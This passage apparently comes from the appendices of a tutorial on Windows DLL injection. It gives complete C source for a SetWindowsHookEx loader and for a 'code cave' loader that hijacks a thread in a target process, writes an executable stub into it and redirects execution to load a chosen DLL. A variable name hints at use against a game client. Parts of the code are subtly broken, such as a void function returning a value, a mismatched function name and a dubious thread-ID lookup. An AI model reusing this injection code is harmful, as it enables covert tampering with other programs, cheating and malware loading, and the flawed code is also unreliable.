      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   return pe.th32ProcessID;
}




Appendix D - SetWindowsHookEx complete example source code
Code:

#include <windows.h>
#include <tlhelp32.h>

#define PROC_NAME "target.exe"
#define DLL_NAME "injected.dll"

void LoadDll(char *procName, char *dllName);
unsigned long GetTargetThreadIdFromProcname(char *procName);

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
    LoadDll(PROC_NAME, DLL_NAME);

    return 0;
}

void LoadDll(char *procName, char *dllName)
{
    HMODULE hDll;
    unsigned long cbtProcAddr;

    hDll        = LoadLibrary(dllName);
    cbtProcAddr = GetProcAddress(hDll, "CBTProc");

    SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, GetTargetThreadIdFromProcName(procName));
   
    return TRUE;
}

unsigned long GetTargetThreadIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot, hProcess;
   BOOL retval, ProcFound = false;
   unsigned long pTID, threadID;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   CloseHandle(thSnapshot);
   
   _asm {
      mov eax, fs:[0x18]
      add eax, 36
      mov [pTID], eax
   }

   hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID);
   ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL);
   CloseHandle(hProcess);

   return threadID;
}



Appendix E - Code cave example source code
Code:

#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>

#define PROC_NAME "target.exe"
#define DLL_NAME "injected.dll"

unsigned long GetTargetProcessIdFromProcname(char *procName);
unsigned long GetTargetThreadIdFromProcname(char *procName);

__declspec(naked) loadDll(void)
{
   _asm{
      //   Placeholder for the return address
      push 0xDEADBEEF

      //   Save the flags and registers
      pushfd
      pushad

      //   Placeholder for the string address and LoadLibrary
      push 0xDEADBEEF
      mov eax, 0xDEADBEEF

      //   Call LoadLibrary with the string parameter
      call eax

      //   Restore the registers and flags
      popad
      popfd
      
      //   Return control to the hijacked thread
      ret
   }
}

__declspec(naked) loadDll_end(void)
{
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
   void *dllString;
   void *stub;
   unsigned long wowID, threadID, stubLen, oldIP, oldprot, loadLibAddy;
    HANDLE hProcess, hThread;
   CONTEXT ctx;
   
   stubLen = (unsigned long)loadDll_end - (unsigned long)loadDll;
   
   loadLibAddy = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

   wowID    = GetTargetProcessIdFromProcname(PROC_NAME);
   hProcess = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, wowID);

   dllString = VirtualAllocEx(hProcess, NULL, (strlen(DLL_NAME) + 1), MEM_COMMIT, PAGE_READWRITE);
   stub      = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   WriteProcessMemory(hProcess, dllString, DLL_NAME, strlen(DLL_NAME), NULL);
   
   threadID = GetTargetThreadIdFromProcname(PROC_NAME);
   hThread   = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);
   SuspendThread(hThread);

   ctx.ContextFlags = CONTEXT_CONTROL;
   GetThreadContext(hThread, &ctx);
   oldIP   = ctx.Eip;
   ctx.Eip = (DWORD)stub;
   ctx.ContextFlags = CONTEXT_CONTROL;

   VirtualProtect(loadDll, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);
   memcpy((void *)((unsigned long)loadDll + 1), &oldIP, 4);
   memcpy((void *)((unsigned long)loadDll + 8), &dllString, 4);
   memcpy((void *)((unsigned long)loadDll + 13), &loadLibAddy, 4);

    WriteProcessMemory(hProcess, stub, loadDll, stubLen, NULL);
   SetThreadContext(hThread, &ctx);

   ResumeThread(hThread);

   Sleep(8000);

   VirtualFreeEx(hProcess, dllString, strlen(DLL_NAME), MEM_DECOMMIT);
   VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT);
   CloseHandle(hProcess);
   CloseHandle(hThread);

    return 0;
}


unsigned long GetTargetProcessIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot;
   BOOL retval, ProcFound = false;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   CloseHandle(thSnapshot);
   return pe.th32ProcessID;
}

unsigned long GetTargetThreadIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot, hProcess;
   BOOL retval, ProcFound = false;
   unsigned long pTID, threadID;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   CloseHandle(thSnapshot);
   
   _asm {
      mov eax, fs:[0x18]
      add eax, 36
      mov [pTID], eax
   }

   hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID);
   ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL);
   CloseHandle(hProcess);

   return threadID;
}

Yamagata Gennosuke